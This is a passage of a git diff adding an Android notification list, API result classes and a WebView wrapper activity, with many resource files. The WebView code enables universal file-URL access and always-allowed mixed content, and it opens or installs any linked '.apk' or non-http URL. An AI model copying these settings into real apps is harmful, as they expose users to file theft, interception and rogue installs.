holder.root.setBackgroundColor(context.getColor(R.color.notify_imagecolor)); + holder.tvType.setText(holder.ivMsg.getContext().getString(R.string.image_title)); + holder.ivType.setImageResource(R.mipmap.ic_notifylogo_img); + break; + case 3: + holder.root.setBackgroundColor(context.getColor(R.color.notify_jumplinkcolor)); + holder.tvType.setText(holder.ivMsg.getContext().getString(R.string.link_title)); + holder.ivType.setImageResource(R.mipmap.ic_notifylogo_link); + break; + default: + holder.root.setBackgroundColor(context.getColor(R.color.notify_textcolor)); + holder.tvType.setText(holder.ivMsg.getContext().getString(R.string.text_title)); + holder.ivType.setImageResource(R.mipmap.ic_notifylogo); + break; + } + + holder.tvTitle.setText(messageInfo.getTitle()); + holder.layoutMore.setVisibility(View.GONE); + holder.tvContent.setText(messageInfo.getContent()); + holder.ivMsg.setVisibility(View.GONE); + holder.tvTime.setText(messageInfo.getCreateTime()); + holder.tvJumpLink.setVisibility(View.GONE); + + holder.lookIv.setText(longTime(messageInfo.getCreateTime())); + if (!TextUtils.isEmpty(messageInfo.getImage())) { + LogUtils.i("地址是啥:"+messageInfo.getImage()); + holder.ivMsg.setVisibility(View.VISIBLE); + Glide.with(context).load(messageInfo.getImage()).into(holder.ivMsg); + } + if (!TextUtils.isEmpty(messageInfo.getJumpUrl())) { + holder.tvJumpLink.setVisibility(View.VISIBLE); + holder.tvJumpLink.setText(messageInfo.getJumpUrl()); + holder.tvJumpLink.setOnClickListener(view -> { + if (itemClickPostionListener != null) { + itemClickPostionListener.item(position); + } + }); + } + if (messageInfo.isShowAll()) { + holder.ivNotifyPull.setBackgroundResource(R.mipmap.ic_notify_shangla); + holder.layoutMore.setVisibility(View.VISIBLE); + } else { + holder.ivNotifyPull.setBackgroundResource(R.mipmap.ic_notify_xiala); + holder.layoutMore.setVisibility(View.GONE); + } + holder.itemView.setOnClickListener(view -> { + messageInfo.setShowAll(!messageInfo.isShowAll()); + notifyItemChanged(position); + }); + + } + + public String longTime(String dateString){ + // 定义所需的日期格式 + SimpleDateFormat dateFormat = new SimpleDateFormat("yyyy-MM-dd HH:mm:ss"); + + try { + Long timeStr = dateFormat.parse(dateString).getTime(); + + String name = (((System.currentTimeMillis()-timeStr)/1000/60)+1000)+""; + + return name; + } catch (ParseException e) { + return ""; + } + + } + + + @Override + public int getItemCount() { + return listdata != null ? listdata.size() : 0; + } + + public static class ViewHolder extends RecyclerView.ViewHolder { + + + private final TextView tvType; + private final TextView tvTime; + private final TextView tvContent; + private final TextView tvTitle; + private final TextView tvJumpLink; + private final ImageView ivType; + private final ImageView ivNotifyPull; + private final ImageView ivMsg; + private ConstraintLayout root; + private LinearLayout layoutMore; + private LinearLayout rootLy; + private TextView lookIv; + public ViewHolder(@NonNull View itemView) { + super(itemView); + root = itemView.findViewById(R.id.big_bg); +// tvType = itemView.findViewById(R.id.iv_readtype); + tvType = itemView.findViewById(R.id.tv_msg_type); + ivType = itemView.findViewById(R.id.iv_icon); + ivNotifyPull = itemView.findViewById(R.id.ic_notify_pull); + ivMsg = itemView.findViewById(R.id.iv_notifyimage); + tvContent = itemView.findViewById(R.id.iv_notifycontent); + tvTitle = itemView.findViewById(R.id.tv_msg_title); + tvTime = itemView.findViewById(R.id.tv_msg_time); + tvJumpLink = itemView.findViewById(R.id.iv_notifyjumpclick); + layoutMore = itemView.findViewById(R.id.layout_more); + lookIv = itemView.findViewById(R.id.look_iv); + } + + } + + public interface onItemClickPostionListener { + void item(int position); + } + +} diff --git a/base_theme/src/main/java/com/web/base/NotifyListActivity.java b/base_theme/src/main/java/com/web/base/NotifyListActivity.java new file mode 100644 index 0000000..b54c216 --- /dev/null +++ b/base_theme/src/main/java/com/web/base/NotifyListActivity.java @@ -0,0 +1,126 @@ +package com.web.base; + +import android.content.Intent; +import android.net.Uri; +import android.os.Bundle; +import android.view.View; +import android.view.WindowManager; + +import androidx.annotation.NonNull; +import androidx.annotation.Nullable; +import androidx.appcompat.app.ActionBar; +import androidx.appcompat.app.AppCompatActivity; +import androidx.recyclerview.widget.LinearLayoutManager; +import androidx.recyclerview.widget.RecyclerView; + +import java.util.ArrayList; +import java.util.List; + +import io.reactivex.android.schedulers.AndroidSchedulers; +import io.reactivex.schedulers.Schedulers; + +/** + * 通知列表 + */ +public class NotifyListActivity extends AppCompatActivity { + + private RecyclerView recyclerView; + private LinearLayoutManager manager; + private MyNotifyListAdapter adapter; + private List listdata = new ArrayList<>(); + private int userId = 2; + private int page = 1; + private boolean isNextPages = false; + + private MessageInfo messageInfoItem; + + + @Override + protected void onCreate(@Nullable Bundle savedInstanceState) { + userId = MainActivity2.getInt(NotifyListActivity.this,"user_code",userId); + getWindow().getDecorView().setSystemUiVisibility(View.SYSTEM_UI_FLAG_FULLSCREEN | View.SYSTEM_UI_FLAG_LAYOUT_STABLE); + super.onCreate(savedInstanceState); + View decor = getWindow().getDecorView(); + getWindow().setFlags(WindowManager.LayoutParams.FLAG_HARDWARE_ACCELERATED, WindowManager.LayoutParams.FLAG_HARDWARE_ACCELERATED); + decor.setSystemUiVisibility(View.SYSTEM_UI_FLAG_LIGHT_STATUS_BAR); + ActionBar actionBar = getSupportActionBar(); + if (actionBar != null) { + actionBar.hide(); + } + setContentView(R.layout.activity_notifylist); + messageInfoItem = (MessageInfo) getIntent().getSerializableExtra("message"); + findViewById(R.id.back_iv).setOnClickListener(view -> finish()); + recyclerView = findViewById(R.id.recycler_nofity); + manager = new LinearLayoutManager(this); + recyclerView.setLayoutManager(manager); + recyclerView.addOnScrollListener(new RecyclerView.OnScrollListener() { + + @Override + public void onScrolled(@NonNull RecyclerView recyclerView, int dx, int dy) { + int visibleCount = manager.getChildCount(); + int totalCount = manager.getItemCount(); + int firstvisibleCount = manager.findFirstVisibleItemPosition(); + if (visibleCount > 0 && visibleCount + firstvisibleCount == totalCount) { //滑动到底部 + if (!isNextPages) { +// Toast.makeText(NotifyListActivity.this, getString(R.string.app_toastloading), Toast.LENGTH_SHORT).show(); + return; + } + page++; + getNotifyList(); + } +// super.onScrolled(recyclerView, dx, dy); + } + }); + adapter = new MyNotifyListAdapter(NotifyListActivity.this, listdata,messageInfoItem); + recyclerView.setAdapter(adapter); + adapter.setOnItemClick(position -> { + try{ + MessageInfo messageInfo = listdata.get(position); + Intent intent = new Intent(Intent.ACTION_VIEW, Uri.parse(messageInfo.getJumpUrl())); + startActivity(intent); + }catch (Exception e){ + + } + + }); + getNotifyList(); + } + + public void getNotifyList() { + //通知列表 + Api.getInstance().getNotifyList(userId, page, 10) + .subscribeOn(Schedulers.io()) + .observeOn(AndroidSchedulers.mainThread()) + .subscribe(new BaseObserver>>() { + @Override + public void onSuccess(Result> o) { + if(o.data!=null){ + isNextPages = o.data.isHasNextPage(); + if (page == 1) { + listdata.clear(); + } + listdata.addAll(o.data.getList()); + adapter.setListdata(listdata); + + } + + } + + @Override + public void onError(int code, String msg) { + LogUtils.i("获取的结果error" + msg); + if (page > 1) { + page--; + } + } + + @Override + public void onError2(Result> o) { + LogUtils.i("获取的结果error"); + if (page > 1) { + page--; + } + } + }); + } +} diff --git a/base_theme/src/main/java/com/web/base/Result.java b/base_theme/src/main/java/com/web/base/Result.java new file mode 100644 index 0000000..4251091 --- /dev/null +++ b/base_theme/src/main/java/com/web/base/Result.java @@ -0,0 +1,29 @@ +package com.web.base; + + +import java.io.Serializable; + +/** + * created by wmm on 2020/9/8 + */ +public class Result implements Serializable { + + public String error; + public int code; + public T data; + public String message; + + + public boolean isSuccessful() { + return code == 1; + } + + @Override + public String toString() { + return "Result{" + + "message='" + error + '\'' + + ", code=" + code + + ", data=" + GsonUtils.beanToJSONString(data) + + '}'; + } +} diff --git a/base_theme/src/main/java/com/web/base/ResultDataInfo.java b/base_theme/src/main/java/com/web/base/ResultDataInfo.java new file mode 100644 index 0000000..21c09e1 --- /dev/null +++ b/base_theme/src/main/java/com/web/base/ResultDataInfo.java @@ -0,0 +1,45 @@ +package com.web.base; + +import java.io.Serializable; +import java.util.List; + +public class ResultDataInfo implements Serializable { + + public List list; + public int pages; + public int total; + public boolean hasNextPage; + + + public boolean isHasNextPage() { + return hasNextPage; + } + + public void setHasNextPage(boolean hasNextPage) { + this.hasNextPage = hasNextPage; + } + + public List getList() { + return list; + } + + public void setList(List list) { + this.list = list; + } + + public int getPages() { + return pages; + } + + public void setPages(int pages) { + this.pages = pages; + } + + public int getTotal() { + return total; + } + + public void setTotal(int total) { + this.total = total; + } +} diff --git a/base_theme/src/main/java/com/web/base/StatusLayout.java b/base_theme/src/main/java/com/web/base/StatusLayout.java new file mode 100644 index 0000000..20a4941 --- /dev/null +++ b/base_theme/src/main/java/com/web/base/StatusLayout.java @@ -0,0 +1,44 @@ +package com.web.base; + +import android.content.Context; +import android.util.AttributeSet; +import android.view.ViewGroup; +import android.widget.LinearLayout; + +import androidx.annotation.Nullable; + +/** + * Created by kiun_2007 on 2018/3/29. + */ + +public class StatusLayout extends LinearLayout { + public StatusLayout(Context context) { + this(context, null); + } + + public StatusLayout(Context context, @Nullable AttributeSet attrs) { + this(context, attrs, 0); + } + + public StatusLayout(Context context, @Nullable AttributeSet attrs, int defStyleAttr) { + super(context, attrs, defStyleAttr); + } + + private int getStatusBarHeight(Context context) { + int result = 0; + int resourceId = context.getResources().getIdentifier("status_bar_height", "dimen", "android"); + if (resourceId > 0) { + result = context.getResources().getDimensionPixelSize(resourceId); + } + return result; + } + + @Override + protected void onAttachedToWindow() { + ViewGroup.LayoutParams lp = this.getLayoutParams(); + lp.width = -1; + lp.height = getStatusBarHeight(getContext()); + this.setLayoutParams(lp); + super.onAttachedToWindow(); + } +} diff --git a/base_theme/src/main/java/com/web/base/WebViewActivity.java b/base_theme/src/main/java/com/web/base/WebViewActivity.java new file mode 100644 index 0000000..cb693b4 --- /dev/null +++ b/base_theme/src/main/java/com/web/base/WebViewActivity.java @@ -0,0 +1,391 @@ +package com.web.base; + +import android.content.Intent; +import android.graphics.Bitmap; +import android.net.Uri; +import android.os.Build; +import android.os.Bundle; +import android.os.Message; +import android.view.MotionEvent; +import android.view.View; +import android.view.WindowManager; +import android.webkit.ValueCallback; +import android.webkit.WebChromeClient; +import android.webkit.WebResourceError; +import android.webkit.WebResourceRequest; +import android.webkit.WebSettings; +import android.webkit.WebView; +import android.webkit.WebViewClient; +import android.widget.FrameLayout; +import android.widget.ImageView; +import android.widget.LinearLayout; +import android.widget.ProgressBar; +import android.widget.TextView; +import android.widget.Toast; +import androidx.annotation.Nullable; +import androidx.annotation.RequiresApi; +import androidx.appcompat.app.ActionBar; +import androidx.appcompat.app.AppCompatActivity; +import com.king.app.updater.AppUpdater; + +public class WebViewActivity extends AppCompatActivity { + + private String url; + WebView webView; + TextView tvErrorMsg; + LinearLayout layoutError; + ImageView show_top_v; + private LinearLayout showTopLy; + private ProgressBar progressBar; + private View topVvvv; + + + @Override + protected void onCreate(@Nullable Bundle savedInstanceState) { + getWindow().setNavigationBarColor(getColor(R.color.white)); + getWindow().getDecorView().setSystemUiVisibility(View.SYSTEM_UI_FLAG_FULLSCREEN | View.SYSTEM_UI_FLAG_LAYOUT_STABLE); + + super.onCreate(savedInstanceState); + View decor = getWindow().getDecorView(); + getWindow().setFlags(WindowManager.LayoutParams.FLAG_HARDWARE_ACCELERATED, WindowManager.LayoutParams.FLAG_HARDWARE_ACCELERATED); + decor.setSystemUiVisibility(View.SYSTEM_UI_FLAG_LIGHT_STATUS_BAR); + ActionBar actionBar = getSupportActionBar(); + if (actionBar != null) { + actionBar.hide(); + } + setContentView(R.layout.activity_main2); + findViewById(R.id.back_iv).setOnClickListener(view -> finish()); + url = getIntent().getStringExtra("url"); + initView(); + } + + private ValueCallback mUploadCallbackForHighApi; + + public void initView() { + topVvvv = (View) findViewById(R.id.top_vvvv); + webView = findViewById(R.id.webview); + show_top_v = findViewById(R.id.show_top_v); + showTopLy = findViewById(R.id.show_top_ly); + tvErrorMsg = findViewById(R.id.errormsg); + layoutError = findViewById(R.id.layoutError); + progressBar = (ProgressBar) findViewById(R.id.progressbar); + WebSettings settings = webView.getSettings(); + settings.setDomStorageEnabled(true); + settings.setAppCacheEnabled(true); + settings.setCacheMode(WebSettings.LOAD_DEFAULT); + settings.setJavaScriptEnabled(true); + settings.setLoadWithOverviewMode(true); + // 设置允许访问文件数据 + settings.setAllowFileAccess(true); + settings.setAllowContentAccess(true); + settings.setDatabaseEnabled(true); + settings.setSavePassword(false); + settings.setSaveFormData(false); + settings.setUseWideViewPort(true); + settings.setBuiltInZoomControls(true); + settings.setPluginState(WebSettings.PluginState.ON); + settings.setLayoutAlgorithm(WebSettings.LayoutAlgorithm.NARROW_COLUMNS); + webView.setFocusable(true); + webView.setFocusableInTouchMode(true); + webView.getSettings().setSupportMultipleWindows(true); + if(Build.VERSION.SDK_INT >= Build.VERSION_CODES.LOLLIPOP) { + webView.getSettings().setMixedContentMode(WebSettings.MIXED_CONTENT_ALWAYS_ALLOW); + } + settings.setSupportZoom(false); + webView.setScrollBarStyle(WebView.SCROLLBARS_OUTSIDE_OVERLAY); + webView.setHorizontalScrollBarEnabled(true); + webView.requestFocus(); + settings.setJavaScriptCanOpenWindowsAutomatically(false); + // Android 4.1前默认允许,4.1后默认禁止 + settings.setAllowFileAccessFromFileURLs(true); + // Android 4.1前默认允许,4.1后默认禁止 + settings.setAllowUniversalAccessFromFileURLs(true); + + + + webView.setWebChromeClient(new WebChromeClient() { + @Override + public boolean onCreateWindow(WebView view, boolean isDialog, boolean isUserGesture, Message resultMsg) { + + WebView newWebView = new WebView(WebViewActivity.this); + topVvvv.setVisibility(View.VISIBLE); + webView.addView(newWebView); + WebView.WebViewTransport transport = (WebView.WebViewTransport) resultMsg.obj; + transport.setWebView(newWebView); + resultMsg.sendToTarget(); + + newWebView.setWebViewClient(new WebViewClient() { + @Override + public boolean shouldOverrideUrlLoading(WebView view, String url) { + progressBar.setVisibility(View.GONE); + webView.loadUrl(url); + return true; + } + }); + + return true; + } + + + @Override + public boolean onShowFileChooser(WebView webView, ValueCallback filePathCallback, FileChooserParams fileChooserParams) { + LogUtils.i("数据接口:onShowFileChooser"); + mUploadCallbackForHighApi = filePathCallback; + Intent intent = fileChooserParams.createIntent(); + intent.addCategory(Intent.CATEGORY_OPENABLE); + startActivityForResult(Intent.createChooser(intent, "File chooser"), REQUEST_CODE_FILE_CHOOSER); + return true; + } + + // For 3.0+ + protected void openFileChooser(ValueCallback uploadMsg, String acceptType) { + LogUtils.i("数据接口:openFileChooseracceptType"); + openFilerChooser(uploadMsg); + } + + + private void openFilerChooser(ValueCallback uploadMsg) { + LogUtils.i("数据接口:openFileChooser"); + mUploadCallbackForLowApi = uploadMsg; + startActivityForResult(Intent.createChooser(getFilerChooserIntent(), "File Chooser"), REQUEST_CODE_FILE_CHOOSER); + } + + + + }); + webView.setWebViewClient(new WebViewClient() { + + + @Override + public void onPageFinished(WebView view, String url) { + super.onPageFinished(view, url); + showTopLy.setVisibility(View.GONE); + progressBar.setVisibility(View.GONE); + topVvvv.setVisibility(View.VISIBLE); + + } + + @Override + public void onPageStarted(WebView view, String url, Bitmap favicon) { + super.onPageStarted(view, url, favicon); + progressBar.setVisibility(View.VISIBLE); + topVvvv.setVisibility(View.VISIBLE); + } + + @Override + public void onReceivedError(WebView view, WebResourceRequest request, WebResourceError error) { + super.onReceivedError(view, request, error); + if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.M) { + int errorCode = error.getErrorCode(); + String errorMessage = error.getDescription().toString(); + String currentUrl = request.getUrl().toString(); + LogUtils.d("onReceivedError2 url==" + url + " errorCode ==" + errorCode); + if ((errorCode == -2 || errorCode == -6) && currentUrl.contains(url)) { + onShowErrorView(errorMessage); + } else { + onShowNetView(); + } + } + progressBar.setVisibility(View.GONE); + } + + @Override + public void onReceivedError(WebView view, int errorCode, String description, String failingUrl) { + super.onReceivedError(view, errorCode, description, failingUrl); + if (Build.VERSION.SDK_INT < Build.VERSION_CODES.M) { + LogUtils.d("onReceivedError2 url==" + failingUrl + " errorCode ==" + errorCode); + if ((errorCode == -2 || errorCode == -6) && failingUrl.contains(url)) { + onShowErrorView(description); + } else { + onShowNetView(); + } + } + progressBar.setVisibility(View.GONE); + + } + + + @Override + public boolean shouldOverrideUrlLoading(WebView view, WebResourceRequest request) { + + Uri uri; + if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.LOLLIPOP) { + uri = request.getUrl(); + } else { + uri = Uri.parse(request.toString()); + } + String url1 = uri.toString(); + if (url1.equals(url + "index") || url1.equals(url + "/index")) { + topVvvv.setVisibility(View.GONE); + } else { + progressBar.setVisibility(View.VISIBLE); + } + + if (!(url1.startsWith("http") || url1.startsWith("https"))) { + try { + Intent intent = new Intent(); + intent.setAction(Intent.ACTION_VIEW); + intent.setData(Uri.parse(url1)); + startActivity(intent); + return true; + } catch (Exception e) { + e.printStackTrace(); + } + } else { + + if ((url1.equals(url + "index") || url1.equals(url + "/index")) && webView.canGoBack()) { + return false; + } else { + if (url1.contains(".apk")) { //下载 + Toast.makeText(WebViewActivity.this, "下载开始,请稍后...", Toast.LENGTH_SHORT).show(); + new AppUpdater(WebViewActivity.this, url1).start(); + return false; + } + //其它的该怎么处理就怎么处理 + webView.loadUrl(url1); + return true; + } + + } + return false; + } + + + @Override + public boolean shouldOverrideUrlLoading(WebView view, String url1) { + if (url1.equals(url + "index") || url1.equals(url + "/index")) { + topVvvv.setVisibility(View.GONE); + } else { + progressBar.setVisibility(View.VISIBLE); + } + + if (!(url1.startsWith("http") || url1.startsWith("https"))) { + try { + Intent intent = new Intent(); + intent.setAction(Intent.ACTION_VIEW); + intent.setData(Uri.parse(url1)); + startActivity(intent); + return true; + } catch (Exception e) { + e.printStackTrace(); + } + } else { + + if ((url1.equals(url + "index") || url1.equals(url + "/index")) && webView.canGoBack()) { + return false; + } else { + if (url1.contains(".apk")) { //下载 + new AppUpdater(WebViewActivity.this, url1).start(); + return false; + } + //其它的该怎么处理就怎么处理 + webView.loadUrl(url1); + return false; + } + + } + + return false; + } + + + }); + webView.setOnGenericMotionListener(new View.OnGenericMotionListener() { + @Override + public boolean onGenericMotion(View view, MotionEvent motionEvent) { + return false; + } + }); + + if (url != null) { + webView.loadUrl(url); + } + } + + + @RequiresApi(api = Build.VERSION_CODES.Q) + @Override + protected void onActivityResult(int requestCode, int resultCode, @Nullable Intent data) { + super.onActivityResult(requestCode, resultCode, data); + switch (requestCode) { + case REQUEST_CODE_FILE_CHOOSER: + if (resultCode == RESULT_OK || resultCode == RESULT_CANCELED) { + afterFileChooseGoing(resultCode, data); + } + break; + + + } + } + + + /** + * onActivityResult方法 + */ + + private void afterFileChooseGoing(int resultCode, Intent data) { + if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.LOLLIPOP) { + if (mUploadCallbackForHighApi == null) { + return; + } + mUploadCallbackForHighApi.onReceiveValue(WebChromeClient.FileChooserParams.parseResult(resultCode, data)); + mUploadCallbackForHighApi = null; + } else { + if (mUploadCallbackForLowApi == null) { + return; + } + Uri result = data == null ? null : data.getData(); + mUploadCallbackForLowApi.onReceiveValue(result); + mUploadCallbackForLowApi = null; + } + } + + private Intent getFilerChooserIntent() { + Intent intent = new Intent(Intent.ACTION_GET_CONTENT); + intent.addCategory(Intent.CATEGORY_OPENABLE); + return intent; + } + + + private static final int REQUEST_CODE_FILE_CHOOSER = 1; + private ValueCallback mUploadCallbackForLowApi; + private boolean isNetError = false; + + public void onShowErrorView(String errorMsg) { //网络不可用的情况 + topVvvv.setVisibility(View.VISIBLE); + webView.setVisibility(View.GONE); + layoutError.setVisibility(View.VISIBLE); + tvErrorMsg.setText(errorMsg); + showTopLy.setVisibility(View.GONE); + isNetError = true; + + } + + public void onShowNetView() { + topVvvv.setVisibility(View.VISIBLE); + webView.setVisibility(View.VISIBLE); + layoutError.setVisibility(View.GONE); + showTopLy.setVisibility(View.GONE); + isNetError = false; + } + + + @Override + public void onBackPressed() { + if (webView.canGoBack()) {//当webview有多级能返回的时候 + onShowNetView(); + webView.goBack(); + } else {//不能返回了 + WebViewActivity.this.finish(); + } + } + + @Override + protected void onDestroy() { + if (webView != null) { + //销毁VebView + webView.destroy(); + } + super.onDestroy(); + } +} diff --git a/base_theme/src/main/res/drawable-anydpi/ic_action_back.xml b/base_theme/src/main/res/drawable-anydpi/ic_action_back.xml new file mode 100644 index 0000000..013ab07 --- /dev/null +++ b/base_theme/src/main/res/drawable-anydpi/ic_action_back.xml @@ -0,0 +1,11 @@ + + + diff --git a/base_theme/src/main/res/drawable-hdpi/ic_action_back.png b/base_theme/src/main/res/drawable-hdpi/ic_action_back.png new file mode 100644 index 0000000..1560c04 Binary files /dev/null and b/base_theme/src/main/res/drawable-hdpi/ic_action_back.png differ diff --git a/base_theme/src/main/res/drawable-mdpi/ic_action_back.png b/base_theme/src/main/res/drawable-mdpi/ic_action_back.png new file mode 100644 index 0000000..d5841d2 Binary files /dev/null and b/base_theme/src/main/res/drawable-mdpi/ic_action_back.png differ diff --git a/base_theme/src/main/res/drawable-v24/ic_launcher_foreground.xml b/base_theme/src/main/res/drawable-v24/ic_launcher_foreground.xml new file mode 100644 index 0000000..2b068d1 --- /dev/null +++ b/base_theme/src/main/res/drawable-v24/ic_launcher_foreground.xml @@ -0,0 +1,30 @@ + + + + + + + + + + + \ No newline at end of file diff --git a/base_theme/src/main/res/drawable-xhdpi/ic_action_back.png b/base_theme/src/main/res/drawable-xhdpi/ic_action_back.png new file mode 100644 index 0000000..5c14e41 Binary files /dev/null and b/base_theme/src/main/res/drawable-xhdpi/ic_action_back.png differ diff --git a/base_theme/src/main/res/drawable-xxhdpi/ic_action_back.png b/base_theme/src/main/res/drawable-xxhdpi/ic_action_back.png new file mode 100644 index 0000000..0516d08 Binary files /dev/null and b/base_theme/src/main/res/drawable-xxhdpi/ic_action_back.png differ diff --git a/base_theme/src/main/res/drawable/input_bg.xml b/base_theme/src/main/res/drawable/input_bg.xml new file mode 100644 index 0000000..4e895aa --- /dev/null +++ b/base_theme/src/main/res/drawable/input_bg.xml @@ -0,0 +1,20 @@ + + + + + + + + + + + + + + + + + + diff --git a/base_theme/src/main/res/drawable/pass_word_bg1.xml b/base_theme/src/main/res/drawable/pass_word_bg1.xml new file mode 100644 index 0000000..83b8c14 --- /dev/null +++ b/base_theme/src/main/res/drawable/pass_word_bg1.xml @@ -0,0 +1,23 @@ + + + + + + \ No newline at end of file diff --git a/base_theme/src/main/res/drawable/pass_word_bg2.xml b/base_theme/src/main/res/drawable/pass_word_bg2.xml new file mode 100644 index 0000000..916d99c --- /dev/null +++ b/base_theme/src/main/res/drawable/pass_word_bg2.xml @@ -0,0 +1,23 @@ + + + + + + \ No newline at end of file diff --git a/base_theme/src/main/res/drawable/shape_btn_bg.xml b/base_theme/src/main/res/drawable/shape_btn_bg.xml new file mode 100644 index 0000000..af87a0d --- /dev/null +++ b/base_theme/src/main/res/drawable/shape_btn_bg.xml @@ -0,0 +1,5 @@ + + + + + \ No newline at end of file diff --git a/base_theme/src/main/res/drawable/shape_dialog_bg3.xml b/base_theme/src/main/res/drawable/shape_dialog_bg3.xml new file mode 100644 index 0000000..ca0a18d --- /dev/null +++ b/base_theme/src/main/res/drawable/shape_dialog_bg3.xml @@ -0,0 +1,5 @@ + + + + + \ No newline at end of file diff --git a/base_theme/src/main/res/drawable/shape_notify_typebg.xml b/base_theme/src/main/res/drawable/shape_notify_typebg.xml new file mode 100644 index 0000000..bec715b --- /dev/null +++ b/base_theme/src/main/res/drawable/shape_notify_typebg.xml @@ -0,0 +1,5 @@ + + + + + \ No newline at end of file diff --git a/base_theme/src/main/res/layout/activity_main2.xml b/base_theme/src/main/res/layout/activity_main2.xml new file mode 100644 index 0000000..0c3e575 --- /dev/null +++ b/base_theme/src/main/res/layout/activity_main2.xml @@ -0,0 +1,413 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + diff --git a/base_theme/src/main/res/layout/activity_notifylist.xml b/base_theme/src/main/res/layout/activity_notifylist.xml new file mode 100644 index 0000000..73b74e4 --- /dev/null +++ b/base_theme/src/main/res/layout/activity_notifylist.xml @@ -0,0 +1,44 @@ + + + + + + + + + + + + + + + + diff --git a/base_theme/src/main/res/layout/dialog_action_confirm.xml b/base_theme/src/main/res/layout/dialog_action_confirm.xml new file mode 100644 index 0000000..1c67709 --- /dev/null +++ b/base_theme/src/main/res/layout/dialog_action_confirm.xml @@ -0,0 +1,71 @@ + + + + + + + + + + + + + + + + + + + + + + \ No newline at end of file diff --git a/base_theme/src/main/res/layout/item_notify_list.xml b/base_theme/src/main/res/layout/item_notify_list.xml new file mode 100644 index 0000000..267e9f2 --- /dev/null +++ b/base_theme/src/main/res/layout/item_notify_list.xml @@ -0,0 +1,176 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + \ No newline at end of file diff --git a/base_theme/src/main/res/mipmap-hdpi/ic_empty.png b/base_theme/src/main/res/mipmap-hdpi/ic_empty.png new file mode 100644 index 0000000..72473d6 Binary files /dev/null and b/base_theme/src/main/res/mipmap-hdpi/ic_empty.png differ diff --git a/base_theme/src/main/res/mipmap-hdpi/ic_pull_down.png b/base_theme/src/main/res/mipmap-hdpi/ic_pull_down.png new file mode 100644 index 0000000..7dc0ec3 Binary files /dev/null and b/base_theme/src/main/res/mipmap-hdpi/ic_pull_down.png differ diff --git a/base_theme/src/main/res/mipmap-xhdpi/ic_close.png b/base_theme/src/main/res/mipmap-xhdpi/ic_close.png new file mode 100644 index 0000000..c0b0127 Binary files /dev/null and b/base_theme/src/main/res/mipmap-xhdpi/ic_close.png differ diff --git a/base_theme/src/main/res/mipmap-xhdpi/ic_email.png b/base_theme/src/main/res/mipmap-xhdpi/ic_email.png new file mode 100644 index 0000000..9fc3a42 Binary files /dev/null and b/base_theme/src/main/res/mipmap-xhdpi/ic_email.png differ diff --git a/base_theme/src/main/res/mipmap-xhdpi/ic_email1.png b/base_theme/src/main/res/mipmap-xhdpi/ic_email1.png new file mode 100644 index 0000000..9fc3a42 Binary files /dev/null and b/base_theme/src/main/res/mipmap-xhdpi/ic_email1.png differ diff --git a/base_theme/src/main/res/mipmap-xhdpi/ic_facebook.png b/base_theme/src/main/res/mipmap-xhdpi/ic_facebook.png new file mode 100644 index 0000000..de378dc Binary files /dev/null and b/base_theme/src/main/res/mipmap-xhdpi/ic_facebook.png differ diff --git a/base_theme/src/main/res/mipmap-xhdpi/ic_hometo.png b/base_theme/src/main/res/mipmap-xhdpi/ic_hometo.png new file mode 100644 index 0000000..4e93043 Binary files /dev/null and b/base_theme/src/main/res/mipmap-xhdpi/ic_hometo.png differ diff --git a/base_theme/src/main/res/mipmap-xhdpi/ic_link.png b/base_theme/src/main/res/mipmap-xhdpi/ic_link.png new file mode 100644 index 0000000..2f98612 Binary files /dev/null and b/base_theme/src/main/res/mipmap-xhdpi/ic_link.png differ diff --git a/base_theme/src/main/res/mipmap-xhdpi/ic_menu.png b/base_theme/src/main/res/mipmap-xhdpi/ic_menu.png new file mode 100644 index 0000000..2b55ec5 Binary files /dev/null and b/base_theme/src/main/res/mipmap-xhdpi/ic_menu.png differ diff --git a/base_theme/src/main/res/mipmap-xhdpi/ic_notify_email.png b/base_theme/src/main/res/mipmap-xhdpi/ic_notify_email.png new file mode 100644 index 0000000..5a2df8e Binary files /dev/null and b/base_theme/src/main/res/mipmap-xhdpi/ic_notify_email.png differ diff --git a/base_theme/src/main/res/mipmap-xhdpi/ic_notify_normal.png b/base_theme/src/main/res/mipmap-xhdpi/ic_notify_normal.png new file mode 100644 index 0000000..f056d32 Binary files /dev/null and b/base_theme/src/main/res/mipmap-xhdpi/ic_notify_normal.png differ diff --git a/base_theme/src/main/res/mipmap-xhdpi/ic_notify_shangla.png b/base_theme/src/main/res/mipmap-xhdpi/ic_notify_shangla.png new file mode 100644 index 0000000..eb1d3e9 Binary files /dev/null and b/base_theme/src/main/res/mipmap-xhdpi/ic_notify_shangla.png differ diff --git a/base_theme/src/main/res/mipmap-xhdpi/ic_notify_xiala.png b/base_theme/src/main/res/mipmap-xhdpi/ic_notify_xiala.png new file mode 100644 index 0000000..7999f63 Binary files /dev/null and b/base_theme/src/main/res/mipmap-xhdpi/ic_notify_xiala.png differ diff --git a/base_theme/src/main/res/mipmap-xhdpi/ic_notifylogo.png b/base_theme/src/main/res/mipmap-xhdpi/ic_notifylogo.png new file mode 100644 index 0000000..b975e45 Binary files /dev/null and b/base_theme/src/main/res/mipmap-xhdpi/ic_notifylogo.png differ diff --git a/base_theme/src/main/res/mipmap-xhdpi/ic_notifylogo_img.png b/base_theme/src/main/res/mipmap-xhdpi/ic_notifylogo_img.png new file mode 100644 index 0000000..e78b250 Binary files /dev/null and b/base_theme/src/main/res/mipmap-xhdpi/ic_notifylogo_img.png differ diff --git a/base_theme/src/main/res/mipmap-xhdpi/ic_notifylogo_link.png b/base_theme/src/main/res/mipmap-xhdpi/ic_notifylogo_link.png new file mode 100644 index 0000000..3d09922 Binary files /dev/null and b/base_theme/src/main/res/mipmap-xhdpi/ic_notifylogo_link.png differ diff --git a/base_theme/src/main/res/mipmap-xhdpi/ic_shousuo.png b/base_theme/src/main/res/mipmap-xhdpi/ic_shousuo.png new file mode 100644 index 0000000..16b38be Binary files /dev/null and b/base_theme/src/main/res/mipmap-xhdpi/ic_shousuo.png differ diff --git a/base_theme/src/main/res/mipmap-xhdpi/ic_tel.png 